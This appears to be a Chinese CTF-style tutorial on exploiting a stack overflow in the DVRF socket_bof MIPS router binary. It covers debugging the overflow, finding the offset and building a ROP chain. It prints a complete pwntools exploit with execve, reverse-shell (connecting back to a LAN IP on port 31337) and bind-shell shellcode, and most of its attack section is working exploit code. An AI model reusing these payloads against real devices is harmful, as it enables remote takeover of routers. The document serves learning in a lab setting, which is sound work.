1. 程式人生 > >路由器漏洞挖掘之棧溢出 - 反彈shell的payload構造

路由器漏洞挖掘之棧溢出 - 反彈shell的payload構造

sock http all ram cda shu n) dwr get

前言

前一篇講到了 ROP 鏈的構造,最後直接使用調用 execve 函數的 shellcode 就可以直接 getshell,但是實際路由器溢出的情況下都不會那麽簡單。

這裏再看一道 DVRF 的題,這道題是 pwnable/ShellCode_Required 下的 socket_bof

漏洞分析

直接查看源碼:

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

// Pwnable Socket Program
// By b1ack0wl
// Stack Overflow
 
int main(int argc, char **argv[])
{

if (argc <2){

printf("Usage: %s port_number - by b1ack0wl\n", argv[0]);
exit(1);

}
 
    char str[500] = "\0";
    char endstr[50] = "\0";
    int listen_fd, comm_fd;
    int retval = 0;
    int option = 1;
 
    struct sockaddr_in servaddr;
 
    listen_fd = socket(AF_INET, SOCK_STREAM, 0);
 
    bzero( &servaddr, sizeof(servaddr));
 
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htons(INADDR_ANY);
    servaddr.sin_port = htons(atoi(argv[1]));
    printf("Binding to port %i\n", atoi(argv[1]));
 
    retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
    if (retval == -1){
    printf("Error Binding to port %i\n", atoi(argv[1]));
     exit(1);}

   if(setsockopt(listen_fd, SOL_SOCKET,SO_REUSEADDR, (char*)&option, sizeof(option)) < 0){
    printf("Setsockopt failed :(\n");
    close(listen_fd);
    exit(2);
}


    listen(listen_fd, 2);
 
    comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);
 
        bzero(str, 500);
    write(comm_fd, "Send Me Bytes:",14);
        read(comm_fd,str,500);
    sprintf(endstr, "nom nom nom, you sent me %s", str);
    printf("Sent back - %s",str);
        write(comm_fd, endstr, strlen(endstr)+1);
    shutdown(comm_fd, SHUT_RDWR);
    shutdown(listen_fd, SHUT_RDWR);
    close(comm_fd);
    close(listen_fd);
return 0x42;
}

同樣這裏可以發現一處 sprintf 的棧溢出,把程序放入 IDA 中進行分析

0x00400D2C 處調用了 sprintf 函數,將格式化後的字符串直接放到大小為 0x50 的棧上,我們的輸入如果大於 0x50 的話就會產生棧溢出,這樣我們就可以控制返回地址。

技術分享圖片

這裏和上一道題相似,同樣這裏需要我們使用 ROP 鏈來構造一個 payload

但是這裏不同的是,這裏我們是通過端口訪問的。如果我們這裏 getshell 了,這個 shell 還是在服務端的,我們是無法訪問的。所以這裏我們需要構造一個通過端口能訪問到的 shellcode

這裏我們希望的效果是可以直接反彈 shell ,或者使得 shellcode

能夠使服務端在遠程某個端口開啟一個 shell ,我們就可以通過這個端口連接上,進而獲取 shell

gdb 調試方法

這裏因為程序是開了一個 socket 端口,調試方法稍微有點不太一樣。但是還是可以用 attach 的方法來調試

具體的方法是:

  1. 先把程序用 qemu 跑起來,附加調試端口為 23946
  2. gdb-multiarch 連接上 23946 端口:target remote :23946,程序斷在 _start 函數處,在 0x00400E1C 處下一個斷點(也就是 lw $ra, 0x270+var_4($sp) 的地方),c 繼續運行

技術分享圖片

  1. 再新開一個終端,nc 連接上之後,send payload
    之後就可以在 gdb 中進行調試了。

技術分享圖片

確定偏移

控制 ra 之前還是需要先確定偏移地址。這邊還是使用 patternLocOffset.py 工具來確定偏移,

python patternLocOffset.py -c -l 500 -f test2

技術分享圖片

python patternLocOffset.py -s  0x41376241 -l 500

可以看到偏移是 51,後面的四個字節需要填充的 ra 寄存器的值。

構造 payload

根據上一篇 ROP 鏈構造的思路,我們同樣可以用原來的 ROP 鏈來進行利用,這裏不同的地方是 shellcode 的差異,我們需要構造一個能夠從端口訪問的 shellcode 或者直接使用 socket 彈回一個 shell

  • 在實際的路由器漏洞挖掘過程中,一般的棧溢出使用 system 函數來 getshell 都會存在問題,所以只能另辟蹊徑。

所以這裏的重點是 shellcode 構造


我們先用原來的 exp 試試效果:

#!/usr/bin/python
from pwn import *

context.arch = 'mips'
context.endian = 'little'

libc_addr = 0x766e5000
sleep_offset = 0x0002F2B0
# sleep_end_addr = 0x767144c8


shellcode = ""


shellcode += "\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c"  # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c"  # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404



payload = 'a' * 51
payload += p32(libc_addr + 0xAfe0)  # jr $ra


payload += 'b' * (0x3c - 4 * 9)
payload += 'a' * 4                               # s0
payload += p32(libc_addr + 0x21C34)              # s1
payload += 'a' * 4                               # s2
payload += p32(libc_addr + sleep_offset)         # s3
payload += 'a' * 4                               # s4
payload += 'a' * 4                               # s5
payload += 'a' * 4                               # s6
payload += 'a' * 4                               # s7
payload += 'a' * 4                               # fp
payload += p32(libc_addr + 0x2FB10)              # ra


#---------------stack 2-------------------

payload += 'c' * 0x24
payload += p32(libc_addr + 0x000214A0)           # s3
payload += 'd' * 4                               # s4
payload += p32(libc_addr + 0xAfe0)               # ra

#---------------stack 3-------------------
payload += 'a' * (0x3c-4*9)
payload += p32(libc_addr + 0x000214A0)     # s0
payload += 'a' * 4                               # s1
payload += 'a' * 4                               # s2
payload += 'a' * 4                               # s3
payload += 'a' * 4                               # s4
payload += 'a' * 4                               # s5
payload += 'a' * 4                               # s6
payload += 'a' * 4                               # s7
payload += 'a' * 4                               # fp
payload += p32(libc_addr + 0x0001B230)           # ra


payload += 'f' * 0x28
payload += shellcode


r = remote('127.0.0.1',55555)
r.recvuntil('Send Me Bytes:')

r.sendline(payload)

r.interactive()

運行起來,在服務端可以看到,這裏確實可以 getshell

技術分享圖片

shellcode 的選擇和構造

這裏的 shellcode 可以選擇兩種類型,一種是在本地傳一個 shell 綁定到某個端口,另一種是直接反彈 shell

這裏的 shellcode 可以自己開發,也可以直接用網上現成的。自己開發的話比較耗時難度也比較大,這邊就直接使用這裏的。

反彈 shell

先選擇一個反彈 shellshellcode,在下面這個鏈接中,可以看到這邊是將 shell 反彈到了 192.168.1.177 這個 ip 的 31337 端口。

http://shell-storm.org/shellcode/files/shellcode-860.php

我們使用的話之直接更改他的 ip 地址就行了,也就是對 li $a1, 0xB101A8C0 #192.168.1.177 這條匯編指令進行更改。

如何更改呢?這邊就需要用到 pwntoolsasm 函數。

首先,我們需要把目的 ip 地址轉化為 16 進制,這裏就拿筆者本機來演示。這裏我本機的 IP 是 192.168.123.158

技術分享圖片

轉化成 16 進制為:0x9e7ba8c0

技術分享圖片

那麽這裏的匯編語句就是:li $a1,0x9e7ba8c0

導入 pwntools.asm 函數中:

技術分享圖片

得到相應匯編語句的 hex 值,替換掉 payload 原來的 hex 值就行了。即:

stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"          # 192.168.1.177
stg3_SC += "\xf8\xff\xa5\xaf\x7b\x9e\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"           # 192.168.123.158
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

nc 監聽 31337 端口,運行 exp 成功反彈一個 shell

技術分享圖片

技術分享圖片

綁定到相應端口

這裏的 shellcode 使用這裏的:
http://shell-storm.org/shellcode/files/shellcode-81.php

也就是開啟一個 bash 監聽本地的 4919 端口。

bind_port_shellcode = "\xe0\xff\xbd\x27\xfd\xff\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\xff\xff\x50\x30\xef\xff\x0e\x24\x27\x70\xc0\x01\x13\x37\x0d\x24\x04\x68\xcd\x01\xff\xfd\x0e\x24\x27\x70\xc0\x01\x25\x68\xae\x01\xe0\xff\xad\xaf\xe4\xff\xa0\xaf\xe8\xff\xa0\xaf\xec\xff\xa0\xaf\x25\x20\x10\x02\xef\xff\x0e\x24\x27\x30\xc0\x01\xe0\xff\xa5\x23\x49\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x24\x4e\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xff\xff\x06\x28\x48\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\xff\xff\x50\x30\x25\x20\x10\x02\xfd\xff\x0f\x24\x27\x28\xe0\x01\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xdb\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xf0\xff\xa4\xaf\xf4\xff\xa0\xaf\xf0\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"

直接替換原來 payload
技術分享圖片

但是這裏有點問題,執行完 exp 卻開啟了別的端口,直接連接上去程序會直接崩潰。所以還是使用上面反彈 shell 的 exp 吧。

技術分享圖片

exp

#!/usr/bin/python
from pwn import *

context.arch = 'mips'
context.endian = 'little'

libc_addr = 0x766e5000
sleep_offset = 0x0002F2B0

stg3_SC = ""
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
stg3_SC += "\xf8\xff\xa5\xaf\x7b\x9e\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"       # 192.168.123.158
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"



payload = 'a' * 51
payload += p32(libc_addr + 0xAfe0)  # jr $ra


payload += 'b' * (0x3c - 4 * 9)
payload += 'a' * 4                               # s0
payload += p32(libc_addr + 0x21C34)              # s1
payload += 'a' * 4                               # s2
payload += p32(libc_addr + sleep_offset)         # s3
payload += 'a' * 4                               # s4
payload += 'a' * 4                               # s5
payload += 'a' * 4                               # s6
payload += 'a' * 4                               # s7
payload += 'a' * 4                               # fp
payload += p32(libc_addr + 0x2FB10)              # ra


#---------------stack 2-------------------

payload += 'c' * 0x24
payload += p32(libc_addr + 0x000214A0)           # s3
payload += 'd' * 4                               # s4
payload += p32(libc_addr + 0xAfe0)               # ra

#---------------stack 3-------------------
payload += 'a' * (0x3c-4*9)
payload += p32(libc_addr + 0x000214A0)     # s0
payload += 'a' * 4                               # s1
payload += 'a' * 4                               # s2
payload += 'a' * 4                               # s3
payload += 'a' * 4                               # s4
payload += 'a' * 4                               # s5
payload += 'a' * 4                               # s6
payload += 'a' * 4                               # s7
payload += 'a' * 4                               # fp
payload += p32(libc_addr + 0x0001B230)           # ra


payload += 'f' * 0x28
payload += stg3_SC

r = remote('127.0.0.1',55555)
r.recvuntil('Send Me Bytes:')

r.sendline(payload)

r.interactive()

總結

在實際的路由器棧溢出時,如果執行 execve 函數沒辦法 getshell 時,可以試試上面反彈 shell 的方式。

路由器漏洞挖掘之棧溢出 - 反彈shell的payload構造